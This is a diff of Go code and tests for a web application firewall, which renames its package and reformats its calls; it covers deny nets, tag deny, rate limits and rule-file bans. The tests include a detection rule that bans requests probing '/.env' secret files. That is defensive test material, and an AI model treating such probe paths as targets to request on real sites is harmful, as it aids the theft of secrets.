line.RequestID == "from-traefik" { t.Errorf("log line\n%+v\nwant\n%+v, with a new request id", line.Line, want)
t.Errorf(
"log line\n%+v\nwant\n%+v, with a new request id",
line.Line,
want,
)
} }
} }
@@ -141,7 +131,7 @@ func wantBareLine(t *testing.T, line logLine) {
t.Helper() t.Helper()
want := withTimings(line, requestlog.Line{ want := withTimings(line, requestlog.Line{
Type: requestType, WAFLine: requestlog.WAFLineReport, Type: requestType, DiscriminatorLine: requestlog.DiscriminatorLineReport,
Time: line.Time, Instance: instance, Time: line.Time, Instance: instance,
ClientIP: localhost, Method: http.MethodPost, Scheme: plain, ClientIP: localhost, Method: http.MethodPost, Scheme: plain,
Host: appHost, Path: "/bare", Protocol: protocol, Host: appHost, Path: "/bare", Protocol: protocol,
@@ -150,11 +140,7 @@ func wantBareLine(t *testing.T, line logLine) {
Action: requestlog.ActionForward, Action: requestlog.ActionForward,
}) })
if !reflect.DeepEqual(line.Line, want) || line.RequestID == "" { if !reflect.DeepEqual(line.Line, want) || line.RequestID == "" {
t.Errorf( t.Errorf("log line\n%+v\nwant\n%+v, with a request id", line.Line, want)
"log line\n%+v\nwant\n%+v, with a request id",
line.Line,
want,
)
} }
for _, name := range []string{ for _, name := range []string{
@@ -177,9 +163,7 @@ func withTimings(line logLine, want requestlog.Line) requestlog.Line {
return want return want
} }
func TestHasAuthorizationAndHasCookieEachComeFromTheirOwnHeader( func TestHasAuthorizationAndHasCookieEachComeFromTheirOwnHeader(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
const hasAuthorization, hasCookie = "has_authorization", "has_cookie" const hasAuthorization, hasCookie = "has_authorization", "has_cookie"
@@ -202,13 +186,8 @@ func TestHasAuthorizationAndHasCookieEachComeFromTheirOwnHeader(
_, otherPresent := line.fields[tc.other] _, otherPresent := line.fields[tc.other]
if line.fields[tc.field] != true || otherPresent { if line.fields[tc.field] != true || otherPresent {
t.Errorf( t.Errorf("log line has %s %v and %s %v, want true and none",
"log line has %s %v and %s %v, want true and none", tc.field, line.fields[tc.field], tc.other, line.fields[tc.other])
tc.field,
line.fields[tc.field],
tc.other,
line.fields[tc.other],
)
} }
}) })
} }
@@ -227,16 +206,10 @@ func TestTimingsAreInOrder(t *testing.T) {
_, _ = io.WriteString(w, "done") _, _ = io.WriteString(w, "done")
}) })
addr, out, server := startProxyWithClock( addr, out, server := startProxyWithClock(t, app.URL, "", time.Now, map[string]string{
t,
app.URL,
"",
time.Now,
map[string]string{
trustedProxies: trustLocalhost, trustedProxies: trustLocalhost,
denyNets: denied, denyNets: denied,
}, })
)
// Each log line is waited for before the next request, so that the // Each log line is waited for before the next request, so that the
// lines are in order. // lines are in order.
@@ -248,7 +221,7 @@ func TestTimingsAreInOrder(t *testing.T) {
wantStatus(t, do(t, req), http.StatusForbidden) wantStatus(t, do(t, req), http.StatusForbidden)
refused := out.endedLines(t, 2)[1] refused := out.endedLines(t, 2)[1]
wantStatus(t, get(t, server.Addr, waf.HealthPath), http.StatusOK) wantStatus(t, get(t, server.Addr, discriminator.HealthPath), http.StatusOK)
health := out.endedLines(t, 3)[2] health := out.endedLines(t, 3)[2]
// A request passed to the app has every timing; one refused, none of // A request passed to the app has every timing; one refused, none of
@@ -270,12 +243,8 @@ func TestTimingsAreInOrder(t *testing.T) {
// The checks end before the request is handed to the app. // The checks end before the request is handed to the app.
if checks+upstream > total { if checks+upstream > total {
t.Errorf( t.Errorf("timings in microseconds: total %d, checks %d, upstream total %d",
"timings in microseconds: total %d, checks %d, upstream total %d", total, checks, upstream)
total,
checks,
upstream,
)
} }
if *refused.DurationChecksMS > refused.DurationTotalMS { if *refused.DurationChecksMS > refused.DurationTotalMS {
@@ -300,12 +269,7 @@ func wantTimings(t *testing.T, line logLine, want ...string) {
slices.Sort(want) slices.Sort(want)
if !slices.Equal(got, want) { if !slices.Equal(got, want) {
t.Errorf( t.Errorf("log line of %s has timings %v, want %v", line.Path, got, want)
"log line of %s has timings %v, want %v",
line.Path,
got,
want,
)
} }
} }
@@ -316,43 +280,23 @@ func wantHeuristic(t *testing.T, line logLine, heuristic, figures string) {
t.Helper() t.Helper()
if line.Heuristic != heuristic || if line.Heuristic != heuristic ||
!reflect.DeepEqual( !reflect.DeepEqual(line.HeuristicFigures, decodeFigures(t, figures)) {
line.HeuristicFigures, t.Errorf("log line has heuristic %q with heuristic_figures %v, want %q with %s",
decodeFigures(t, figures), line.Heuristic, line.HeuristicFigures, heuristic, figures)
) {
t.Errorf(
"log line has heuristic %q with heuristic_figures %v, want %q with %s",
line.Heuristic,
line.HeuristicFigures,
heuristic,
figures,
)
} }
} }
// wantAfterAnswerHeuristic checks after_answer_heuristic and // wantAfterAnswerHeuristic checks after_answer_heuristic and
// after_answer_heuristic_figures as wantHeuristic checks heuristic and // after_answer_heuristic_figures as wantHeuristic checks heuristic and
// heuristic_figures. // heuristic_figures.
func wantAfterAnswerHeuristic( func wantAfterAnswerHeuristic(t *testing.T, line logLine, heuristic, figures string) {
t *testing.T,
line logLine,
heuristic, figures string,
) {
t.Helper() t.Helper()
if line.AfterAnswerHeuristic != heuristic || if line.AfterAnswerHeuristic != heuristic ||
!reflect.DeepEqual( !reflect.DeepEqual(line.AfterAnswerHeuristicFigures, decodeFigures(t, figures)) {
line.AfterAnswerHeuristicFigures, t.Errorf("log line has after_answer_heuristic %q with "+
decodeFigures(t, figures),
) {
t.Errorf(
"log line has after_answer_heuristic %q with "+
"after_answer_heuristic_figures %v, want %q with %s", "after_answer_heuristic_figures %v, want %q with %s",
line.AfterAnswerHeuristic, line.AfterAnswerHeuristic, line.AfterAnswerHeuristicFigures, heuristic, figures)
line.AfterAnswerHeuristicFigures,
heuristic,
figures,
)
} }
} }
@@ -1,4 +1,4 @@
package waf package discriminator
// The heuristic routewatch_tags. It reads SWW_ROUTEWATCH_URL. // The heuristic routewatch_tags. It reads SWW_ROUTEWATCH_URL.
@@ -20,20 +20,12 @@ type routeWatchTags struct{}
func (routeWatchTags) name() string { return "routewatch_tags" } func (routeWatchTags) name() string { return "routewatch_tags" }
func (routeWatchTags) check( func (routeWatchTags) check(ctx context.Context, rq *request, _ time.Time) *verdict {
ctx context.Context,
rq *request,
_ time.Time,
) *verdict {
if rq.h.routeWatch == nil { if rq.h.routeWatch == nil {
return nil return nil
} }
route, missing := rq.h.routeWatch.Route( route, missing := rq.h.routeWatch.Route(ctx, rq.h.clientGroup(rq.client), rq.client)
ctx,
rq.h.clientGroup(rq.client),
rq.client,
)
if missing != "" { if missing != "" {
rq.line.RouteWatchTagsMissing = string(missing) rq.line.RouteWatchTagsMissing = string(missing)
@@ -43,9 +35,7 @@ func (routeWatchTags) check(
rq.addTag(config.PrefixTagPrefix + route.Netblock.String()) rq.addTag(config.PrefixTagPrefix + route.Netblock.String())
if route.ASN != 0 { if route.ASN != 0 {
rq.addTag( rq.addTag(config.ASNTagPrefix + strconv.FormatUint(uint64(route.ASN), 10))
config.ASNTagPrefix + strconv.FormatUint(uint64(route.ASN), 10),
)
} }
return nil return nil
@@ -1,4 +1,4 @@
package waf_test package discriminator_test
import ( import (
"context" "context"
@@ -10,8 +10,8 @@ import (
"testing" "testing"
"time" "time"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/waf"
) )
// routeWatchURL is SWW_ROUTEWATCH_URL, and tagsMissing the log line's field // routeWatchURL is SWW_ROUTEWATCH_URL, and tagsMissing the log line's field
@@ -58,7 +58,7 @@ func startRouteWatch(t *testing.T, routes map[string]standInRoute) string {
// waitForRouteWatch waits until routewatch's answer about from, in the client // waitForRouteWatch waits until routewatch's answer about from, in the client
// group of the given length, is kept, so that the next request gets its tags. // group of the given length, is kept, so that the next request gets its tags.
func waitForRouteWatch( func waitForRouteWatch(
t *testing.T, server *waf.Server, from string, bits int, t *testing.T, server *discriminator.Server, from string, bits int,
) { ) {
t.Helper() t.Helper()
@@ -67,21 +67,13 @@ func waitForRouteWatch(
deadline := time.Now().Add(5 * time.Second) deadline := time.Now().Add(5 * time.Second)
for { for {
_, missing := server.RouteWatch.Route( _, missing := server.RouteWatch.Route(context.Background(), client, addr)
context.Background(),
client,
addr,
)
if missing == "" { if missing == "" {
return return
} }
if time.Now().After(deadline) { if time.Now().After(deadline) {
t.Fatalf( t.Fatalf("routewatch's answer about %s not kept: %q", from, missing)
"routewatch's answer about %s not kept: %q",
from,
missing,
)
} }
time.Sleep(time.Millisecond) time.Sleep(time.Millisecond)
@@ -100,14 +92,8 @@ func wantTagsMissing(t *testing.T, line logLine, want string) {
func TestRouteWatchTagsAreOnTheLogLineWithTheLookupsTags(t *testing.T) { func TestRouteWatchTagsAreOnTheLogLineWithTheLookupsTags(t *testing.T) {
t.Parallel() t.Parallel()
url := startRouteWatch( url := startRouteWatch(t, map[string]standInRoute{fromDE: {prefixDE, 64496}})
t, s, server, _ := startWithLookups(t, map[string]string{routeWatchURL: url})
map[string]standInRoute{fromDE: {prefixDE, 64496}},
)
s, server, _ := startWithLookups(
t,
map[string]string{routeWatchURL: url},
)
waitForRouteWatch(t, server, fromDE, 32) waitForRouteWatch(t, server, fromDE, 32)
@@ -119,21 +105,14 @@ func TestRouteWatchTagsAreOnTheLogLineWithTheLookupsTags(t *testing.T) {
func TestRouteWatchTagsAreOnALineDenyNetsRefused(t *testing.T) { func TestRouteWatchTagsAreOnALineDenyNetsRefused(t *testing.T) {
t.Parallel() t.Parallel()
url := startRouteWatch( url := startRouteWatch(t, map[string]standInRoute{fromKP: {prefixKP, 64511}})
t,
map[string]standInRoute{fromKP: {prefixKP, 64511}},
)
s, _, server := startWithClock(t, "", map[string]string{ s, _, server := startWithClock(t, "", map[string]string{
lookupSource: off, routeWatchURL: url, denyNets: fromKP, lookupSource: off, routeWatchURL: url, denyNets: fromKP,
}) })
waitForRouteWatch(t, server, fromKP, 32) waitForRouteWatch(t, server, fromKP, 32)
line := s.get( line := s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied)
fromKP,
http.StatusForbidden,
requestlog.ActionClientDenied,
)
wantHeuristic(t, line, "deny_nets", `{"netblock": "`+fromKP+`/32"}`) wantHeuristic(t, line, "deny_nets", `{"netblock": "`+fromKP+`/32"}`)
wantTags(t, line, "asn=64511", "prefix="+prefixKP) wantTags(t, line, "asn=64511", "prefix="+prefixKP)
} }
@@ -155,11 +134,7 @@ func TestRouteWithoutAnOriginASGivesOnlyThePrefixTag(t *testing.T) {
func TestUnsetRouteWatchChangesNothing(t *testing.T) { func TestUnsetRouteWatchChangesNothing(t *testing.T) {
t.Parallel() t.Parallel()
s, _, server := startWithClock( s, _, server := startWithClock(t, "", map[string]string{lookupSource: off})
t,
"",
map[string]string{lookupSource: off},
)
if server.RouteWatch != nil { if server.RouteWatch != nil {
t.Error("RouteWatch is set while SWW_ROUTEWATCH_URL is unset") t.Error("RouteWatch is set while SWW_ROUTEWATCH_URL is unset")
@@ -184,11 +159,8 @@ func TestUnreachableRouteWatchLetsTheRequestThroughAndSaysWhy(t *testing.T) {
lookupSource: off, routeWatchURL: "http://224.0.0.1", lookupSource: off, routeWatchURL: "http://224.0.0.1",
}) })
wantTagsMissing( wantTagsMissing(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward),
t, "no_answer_yet")
s.get(fromDE, http.StatusOK, requestlog.ActionForward),
"no_answer_yet",
)
deadline := time.Now().Add(5 * time.Second) deadline := time.Now().Add(5 * time.Second)
@@ -246,22 +218,15 @@ func TestTagDenyRefusesOnARouteWatchPrefix(t *testing.T) {
waitForRouteWatch(t, server, fromKP, 32) waitForRouteWatch(t, server, fromKP, 32)
waitForRouteWatch(t, server, fromDE, 32) waitForRouteWatch(t, server, fromDE, 32)
wantHeuristic( wantHeuristic(t, s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied),
t, "tag_deny", `{"tag": "prefix=`+prefixKP+`"}`)
s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied),
"tag_deny",
`{"tag": "prefix=`+prefixKP+`"}`,
)
s.get(fromDE, http.StatusOK, requestlog.ActionForward) s.get(fromDE, http.StatusOK, requestlog.ActionForward)
} }
func TestTagLimitPercentWorksWithAnIPv6Prefix(t *testing.T) { func TestTagLimitPercentWorksWithAnIPv6Prefix(t *testing.T) {
t.Parallel() t.Parallel()
url := startRouteWatch( url := startRouteWatch(t, map[string]standInRoute{fromV6: {prefixV6, 64496}})
t,
map[string]standInRoute{fromV6: {prefixV6, 64496}},
)
s, _, server := startWithClock(t, "", map[string]string{ s, _, server := startWithClock(t, "", map[string]string{
lookupSource: off, routeWatchURL: url, rateLimitPerMinute: "2", lookupSource: off, routeWatchURL: url, rateLimitPerMinute: "2",
tagLimitPercent: "prefix=" + prefixV6 + ":50", tagLimitPercent: "prefix=" + prefixV6 + ":50",
@@ -1,4 +1,4 @@
package waf package discriminator
// The heuristic rule_files. It reads the rules of the rule files, which // The heuristic rule_files. It reads the rules of the rule files, which
// SWW_RULES_DIR and SWW_RULES_ENABLED name. // SWW_RULES_DIR and SWW_RULES_ENABLED name.
@@ -26,11 +26,7 @@ type ruleFiles struct{}
func (ruleFiles) name() string { return "rule_files" } func (ruleFiles) name() string { return "rule_files" }
func (ruleFiles) check( func (ruleFiles) check(_ context.Context, rq *request, now time.Time) *verdict {
_ context.Context,
rq *request,
now time.Time,
) *verdict {
matched := rq.h.rules.Match(rq.in) matched := rq.h.rules.Match(rq.in)
for _, rule := range matched { for _, rule := range matched {
@@ -52,18 +48,12 @@ func (ruleFiles) check(
case rules.ActionBlock: case rules.ActionBlock:
rq.blockedByBlockRule = true rq.blockedByBlockRule = true
return &verdict{ return &verdict{action: requestlog.ActionBlockedByBlockRule, figures: figures}
action: requestlog.ActionBlockedByBlockRule,
figures: figures,
}
case rules.ActionBan: case rules.ActionBan:
rq.attack = true rq.attack = true
return &verdict{ return &verdict{
action: rq.banForAttack( action: rq.banForAttack(now, bans.Notes{RuleID: last.ID, Target: last.Target}),
now,
bans.Notes{RuleID: last.ID, Target: last.Target},
),
figures: figures, figures: figures,
} }
default: default:
@@ -1,4 +1,4 @@
package waf_test package discriminator_test
import ( import (
"net/http" "net/http"
@@ -48,10 +48,7 @@ func TestEachRuleAction(t *testing.T) {
wantRuleIDs(t, line, "noted", "probe") wantRuleIDs(t, line, "noted", "probe")
if line.BanExpires != requestlog.FormatTime(start.Add(7*24*time.Hour)) { if line.BanExpires != requestlog.FormatTime(start.Add(7*24*time.Hour)) {
t.Errorf( t.Errorf("log line has ban_expires %q, want seven days on", line.BanExpires)
"log line has ban_expires %q, want seven days on",
line.BanExpires,
)
} }
netblock := netip.MustParsePrefix(client + "/32") netblock := netip.MustParsePrefix(client + "/32")
@@ -86,26 +83,15 @@ func TestEachRuleAction(t *testing.T) {
// against the rules, and makes the ban permanent. // against the rules, and makes the ban permanent.
clk.advance(time.Hour) clk.advance(time.Hour)
line = s.get( line = s.get(client, http.StatusTooManyRequests, requestlog.ActionPermanentlyBanned)
client,
http.StatusTooManyRequests,
requestlog.ActionPermanentlyBanned,
)
wantRuleIDs(t, line) wantRuleIDs(t, line)
if line.BanExpires != permanent { if line.BanExpires != permanent {
t.Errorf( t.Errorf("log line has ban_expires %q, want permanent", line.BanExpires)
"log line has ban_expires %q, want permanent",
line.BanExpires,
)
} }
clk.advance(365 * 24 * time.Hour) clk.advance(365 * 24 * time.Hour)
s.get( s.get(client, http.StatusTooManyRequests, requestlog.ActionPermanentlyBanned)
client,
http.StatusTooManyRequests,
requestlog.ActionPermanentlyBanned,
)
} }
func TestEachRuleActionAddsTheExploitSignatureTag(t *testing.T) { func TestEachRuleActionAddsTheExploitSignatureTag(t *testing.T) {
@@ -115,11 +101,8 @@ func TestEachRuleActionAddsTheExploitSignatureTag(t *testing.T) {
rulesDir: writeRules(t, "noted path log ^/noted$\n"+testRules), rulesDir: writeRules(t, "noted path log ^/noted$\n"+testRules),
}) })
wantTags( wantTags(t, s.request(client, "/noted", http.StatusOK, requestlog.ActionForward),
t, "exploitsignature")
s.request(client, "/noted", http.StatusOK, requestlog.ActionForward),
"exploitsignature",
)
wantTags(t, s.request(client, "/blocked", http.StatusForbidden, wantTags(t, s.request(client, "/blocked", http.StatusForbidden,
requestlog.ActionBlockedByBlockRule), "exploitsignature") requestlog.ActionBlockedByBlockRule), "exploitsignature")
wantTags(t, s.get(client, http.StatusOK, requestlog.ActionForward)) wantTags(t, s.get(client, http.StatusOK, requestlog.ActionForward))
@@ -134,21 +117,11 @@ func TestRuleRefusalNamesItsHeuristicAndTheRule(t *testing.T) {
line := s.request(client, "/blocked", http.StatusForbidden, line := s.request(client, "/blocked", http.StatusForbidden,
requestlog.ActionBlockedByBlockRule) requestlog.ActionBlockedByBlockRule)
wantHeuristic( wantHeuristic(t, line, "rule_files", `{"rule_id": "blocked", "rule_action": "block"}`)
t,
line,
"rule_files",
`{"rule_id": "blocked", "rule_action": "block"}`,
)
line = s.request(client, "/.env", http.StatusForbidden, line = s.request(client, "/.env", http.StatusForbidden,
requestlog.ActionTemporarilyBanned) requestlog.ActionTemporarilyBanned)
wantHeuristic( wantHeuristic(t, line, "rule_files", `{"rule_id": "probe", "rule_action": "ban"}`)
t,
line,
"rule_files",
`{"rule_id": "probe", "rule_action": "ban"}`,
)
} }
func TestNextClearSignOfAttackAfterABanBansPermanently(t *testing.T) { func TestNextClearSignOfAttackAfterABanBansPermanently(t *testing.T) {
@@ -163,10 +136,7 @@ func TestNextClearSignOfAttackAfterABanBansPermanently(t *testing.T) {
line := s.request(client, "/.env", http.StatusForbidden, line := s.request(client, "/.env", http.StatusForbidden,
requestlog.ActionTemporarilyBanned) requestlog.ActionTemporarilyBanned)
if line.BanExpires != requestlog.FormatTime(clk.Now().Add(time.Hour)) { if line.BanExpires != requestlog.FormatTime(clk.Now().Add(time.Hour)) {
t.Errorf( t.Errorf("log line has ban_expires %q, want an hour on", line.BanExpires)
"log line has ban_expires %q, want an hour on",
line.BanExpires,
)
} }
// Once that ban has run out without a request, the client is served, // Once that ban has run out without a request, the client is served,
@@ -177,10 +147,7 @@ func TestNextClearSignOfAttackAfterABanBansPermanently(t *testing.T) {
line = s.request(client, "/.env", http.StatusForbidden, line = s.request(client, "/.env", http.StatusForbidden,
requestlog.ActionPermanentlyBanned) requestlog.ActionPermanentlyBanned)
if line.BanExpires != permanent { if line.BanExpires != permanent {
t.Errorf( t.Errorf("log line has ban_expires %q, want permanent", line.BanExpires)
"log line has ban_expires %q, want permanent",
line.BanExpires,
)
} }
} }
@@ -200,12 +167,7 @@ func TestRulesComeAfterTheOtherChecks(t *testing.T) {
}) })
// A client in SWW_ALLOW_NETS is not checked. // A client in SWW_ALLOW_NETS is not checked.
line := s.request( line := s.request(allowed, "/.env", http.StatusOK, requestlog.ActionForward)
allowed,
"/.env",
http.StatusOK,
requestlog.ActionForward,
)
wantRuleIDs(t, line) wantRuleIDs(t, line)
// A probe over the rate limit breaks the limit before any rule sees // A probe over the rate limit breaks the limit before any rule sees
@@ -222,12 +184,7 @@ func TestRulesComeAfterTheOtherChecks(t *testing.T) {
// A client the rate limits do not apply to is still checked. // A client the rate limits do not apply to is still checked.
s.get(exempt, http.StatusOK, requestlog.ActionForward) s.get(exempt, http.StatusOK, requestlog.ActionForward)
s.request( s.request(exempt, "/.env", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
exempt,
"/.env",
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
} }
func TestObserveModeLogsWhatTheRulesWouldDo(t *testing.T) { func TestObserveModeLogsWhatTheRulesWouldDo(t *testing.T) {
@@ -238,21 +195,11 @@ func TestObserveModeLogsWhatTheRulesWouldDo(t *testing.T) {
mode: observe, mode: observe,
}) })
line := s.request( line := s.request(client, "/blocked", http.StatusOK, requestlog.ActionForward)
client,
"/blocked",
http.StatusOK,
requestlog.ActionForward,
)
wantWouldAction(t, line, requestlog.ActionBlockedByBlockRule) wantWouldAction(t, line, requestlog.ActionBlockedByBlockRule)
wantRuleIDs(t, line, "blocked") wantRuleIDs(t, line, "blocked")
line = s.request( line = s.request(client, "/.env", http.StatusOK, requestlog.ActionForward)
client,
"/.env",
http.StatusOK,
requestlog.ActionForward,
)
wantWouldAction(t, line, requestlog.ActionTemporarilyBanned) wantWouldAction(t, line, requestlog.ActionTemporarilyBanned)
wantRuleIDs(t, line, "probe") wantRuleIDs(t, line, "probe")
@@ -279,55 +226,22 @@ func TestMetricsCountRuleMatchesAndBansForAnAttack(t *testing.T) {
s.request(client, "/blocked", http.StatusForbidden, s.request(client, "/blocked", http.StatusForbidden,
requestlog.ActionBlockedByBlockRule) requestlog.ActionBlockedByBlockRule)
s.request( s.request(client, "/.env", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
client,
"/.env",
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
s.get(client, http.StatusForbidden, requestlog.ActionPermanentlyBanned) s.get(client, http.StatusForbidden, requestlog.ActionPermanentlyBanned)
metrics := s.scrape() metrics := s.scrape()
wantMetric( wantMetric(t, metrics,
t, `sww_rule_matches_total{action="block",instance="app",rule_id="blocked"}`, 1)
metrics, wantMetric(t, metrics,
`sww_rule_matches_total{action="block",instance="app",rule_id="blocked"}`, `sww_rule_matches_total{action="ban",instance="app",rule_id="probe"}`, 1)
1,
)
wantMetric(
t,
metrics,
`sww_rule_matches_total{action="ban",instance="app",rule_id="probe"}`,
1,
)
wantMetric(t, metrics, `sww_rules_loaded{instance="app"}`, 2) wantMetric(t, metrics, `sww_rules_loaded{instance="app"}`, 2)
wantMetric( wantMetric(t, metrics, `sww_requests_total{action="blocked_by_block_rule",`+
t, `instance="app",status_class="4xx"}`, 1)
metrics,
`sww_requests_total{action="blocked_by_block_rule",`+
`instance="app",status_class="4xx"}`,
1,
)
wantMetric(t, metrics, wantMetric(t, metrics,
`sww_offences_total{instance="app",kind="blocked_by_block_rule"}`, 1) `sww_offences_total{instance="app",kind="blocked_by_block_rule"}`, 1)
wantMetric( wantMetric(t, metrics, `sww_offences_total{instance="app",kind="attack"}`, 1)
t, wantMetric(t, metrics, `sww_bans_made_total{cause="attack",instance="app"}`, 1)
metrics, wantMetric(t, metrics, `sww_bans_made_total{cause="limit",instance="app"}`, 0)
`sww_offences_total{instance="app",kind="attack"}`,
1,
)
wantMetric(
t,
metrics,
`sww_bans_made_total{cause="attack",instance="app"}`,
1,
)
wantMetric(
t,
metrics,
`sww_bans_made_total{cause="limit",instance="app"}`,
0,
)
wantMetric(t, metrics, `sww_permanent_bans{instance="app"}`, 1) wantMetric(t, metrics, `sww_permanent_bans{instance="app"}`, 1)
} }
@@ -338,11 +252,7 @@ func writeRules(t *testing.T, content string) string {
dir := t.TempDir() dir := t.TempDir()
err := os.WriteFile( err := os.WriteFile(filepath.Join(dir, "test.rules"), []byte(content), 0o600)
filepath.Join(dir, "test.rules"),
[]byte(content),
0o600,
)
if err != nil { if err != nil {
t.Fatalf("write the rule file: %v", err) t.Fatalf("write the rule file: %v", err)
} }
@@ -1,4 +1,4 @@
package waf_test package discriminator_test
import ( import (
"net/http" "net/http"
@@ -68,11 +68,7 @@ func TestRequestFromAllowNetsIsNotCounted(t *testing.T) {
{listedAddr, http.StatusOK, requestlog.ActionForward}, {listedAddr, http.StatusOK, requestlog.ActionForward},
{listedAddr, http.StatusOK, requestlog.ActionForward}, {listedAddr, http.StatusOK, requestlog.ActionForward},
{unlistedAddr, http.StatusOK, requestlog.ActionForward}, {unlistedAddr, http.StatusOK, requestlog.ActionForward},
{ {unlistedAddr, http.StatusForbidden, requestlog.ActionClientIsRateLimited},
unlistedAddr,
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
},
}) })
} }
@@ -91,13 +87,7 @@ func TestDenyNetsRefuseBeforeTheLookup(t *testing.T) {
tagDeny: denyKP, tagDeny: denyKP,
}) })
req := newRequest( req := newRequest(t, http.MethodPost, addr, "/", strings.NewReader("a body"))
t,
http.MethodPost,
addr,
"/",
strings.NewReader("a body"),
)
req.Header.Set(forwardedFor, fromDE) req.Header.Set(forwardedFor, fromDE)
wantStatus(t, do(t, req), http.StatusForbidden) wantStatus(t, do(t, req), http.StatusForbidden)
@@ -118,11 +108,7 @@ func TestDenyNetsRefusalNamesItsHeuristicAndNetblock(t *testing.T) {
s, _, _ := startWithClock(t, "", map[string]string{denyNets: clientsNet}) s, _, _ := startWithClock(t, "", map[string]string{denyNets: clientsNet})
line := s.get( line := s.get(client, http.StatusForbidden, requestlog.ActionClientDenied)
client,
http.StatusForbidden,
requestlog.ActionClientDenied,
)
wantHeuristic(t, line, "deny_nets", `{"netblock": "`+clientsNet+`"}`) wantHeuristic(t, line, "deny_nets", `{"netblock": "`+clientsNet+`"}`)
} }
@@ -142,11 +128,7 @@ func TestRequestRefusedByDenyNetsIsNotCounted(t *testing.T) {
{listedAddr, http.StatusForbidden, requestlog.ActionClientDenied}, {listedAddr, http.StatusForbidden, requestlog.ActionClientDenied},
{listedAddr, http.StatusForbidden, requestlog.ActionClientDenied}, {listedAddr, http.StatusForbidden, requestlog.ActionClientDenied},
{unlistedAddr, http.StatusOK, requestlog.ActionForward}, {unlistedAddr, http.StatusOK, requestlog.ActionForward},
{ {unlistedAddr, http.StatusForbidden, requestlog.ActionClientIsRateLimited},
unlistedAddr,
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
},
}) })
} }
@@ -170,11 +152,7 @@ func TestRateLimitExemptNetsAreNeitherCountedNorRefused(t *testing.T) {
{listedAddr, http.StatusOK, requestlog.ActionForward}, {listedAddr, http.StatusOK, requestlog.ActionForward},
{listedAddr, http.StatusOK, requestlog.ActionForward}, {listedAddr, http.StatusOK, requestlog.ActionForward},
{unlistedAddr, http.StatusOK, requestlog.ActionForward}, {unlistedAddr, http.StatusOK, requestlog.ActionForward},
{ {unlistedAddr, http.StatusForbidden, requestlog.ActionClientIsRateLimited},
unlistedAddr,
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
},
{fromKP, http.StatusForbidden, requestlog.ActionClientDenied}, {fromKP, http.StatusForbidden, requestlog.ActionClientDenied},
}) })
} }
@@ -190,12 +168,7 @@ type sentRequest struct {
// wantAnswers sends requests to sww at addr one after another and // wantAnswers sends requests to sww at addr one after another and
// checks each one's answer and log line. They must be the first requests // checks each one's answer and log line. They must be the first requests
// sww is sent, since the log lines are matched to them in order. // sww is sent, since the log lines are matched to them in order.
func wantAnswers( func wantAnswers(t *testing.T, addr string, out *output, requests []sentRequest) {
t *testing.T,
addr string,
out *output,
requests []sentRequest,
) {
t.Helper() t.Helper()
for i, sent := range requests { for i, sent := range requests {
@@ -1,4 +1,4 @@
package waf package discriminator
// The heuristic tag_deny. It reads SWW_TAG_DENY. // The heuristic tag_deny. It reads SWW_TAG_DENY.
@@ -1,4 +1,4 @@
package waf_test package discriminator_test
import ( import (
"net/http" "net/http"
@@ -14,11 +14,7 @@ func TestTagDenyRefusesALookupTagAndNamesTheTag(t *testing.T) {
// in capitals. // in capitals.
s, _, _ := startWithLookups(t, map[string]string{tagDeny: "Country=kp"}) s, _, _ := startWithLookups(t, map[string]string{tagDeny: "Country=kp"})
line := s.get( line := s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied)
fromKP,
http.StatusForbidden,
requestlog.ActionClientDenied,
)
wantHeuristic(t, line, "tag_deny", `{"tag": "country=KP"}`) wantHeuristic(t, line, "tag_deny", `{"tag": "country=KP"}`)
wantTags(t, line, "asn=64511", "country=KP") wantTags(t, line, "asn=64511", "country=KP")
@@ -30,12 +26,8 @@ func TestTagDenyRefusesAnASNTag(t *testing.T) {
s, _, _ := startWithLookups(t, map[string]string{tagDeny: "asn=64511"}) s, _, _ := startWithLookups(t, map[string]string{tagDeny: "asn=64511"})
wantHeuristic( wantHeuristic(t, s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied),
t, "tag_deny", `{"tag": "asn=64511"}`)
s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied),
"tag_deny",
`{"tag": "asn=64511"}`,
)
s.get(fromDE, http.StatusOK, requestlog.ActionForward) s.get(fromDE, http.StatusOK, requestlog.ActionForward)
} }
@@ -49,16 +41,8 @@ func TestTagDenyRefusesAListTagBeforeTheRateLimitsCount(t *testing.T) {
// Each is refused for its tag: none is counted to break the limit of one. // Each is refused for its tag: none is counted to break the limit of one.
for range 3 { for range 3 {
wantHeuristic( wantHeuristic(t, s.get(fromDE, http.StatusForbidden, requestlog.ActionClientDenied),
t, "tag_deny", `{"tag": "torexit"}`)
s.get(
fromDE,
http.StatusForbidden,
requestlog.ActionClientDenied,
),
"tag_deny",
`{"tag": "torexit"}`,
)
} }
} }
@@ -74,29 +58,18 @@ func TestTagDenyRefusesAMixedCaseZoneByItsLowerCaseTag(t *testing.T) {
}) })
loadVerdicts(server, map[string][]string{fromDE: {mixedCaseZone}}) loadVerdicts(server, map[string][]string{fromDE: {mixedCaseZone}})
wantHeuristic( wantHeuristic(t, s.get(fromDE, http.StatusForbidden, requestlog.ActionClientDenied),
t, "tag_deny", `{"tag": "dnsbl=`+dnsblZone+`"}`)
s.get(fromDE, http.StatusForbidden, requestlog.ActionClientDenied),
"tag_deny",
`{"tag": "dnsbl=`+dnsblZone+`"}`,
)
} }
func TestTagDenyRefusesAnExploitSignatureOfARuleThatOnlyLogs(t *testing.T) { func TestTagDenyRefusesAnExploitSignatureOfARuleThatOnlyLogs(t *testing.T) {
t.Parallel() t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{ s, _, _ := startWithClock(t, "", map[string]string{
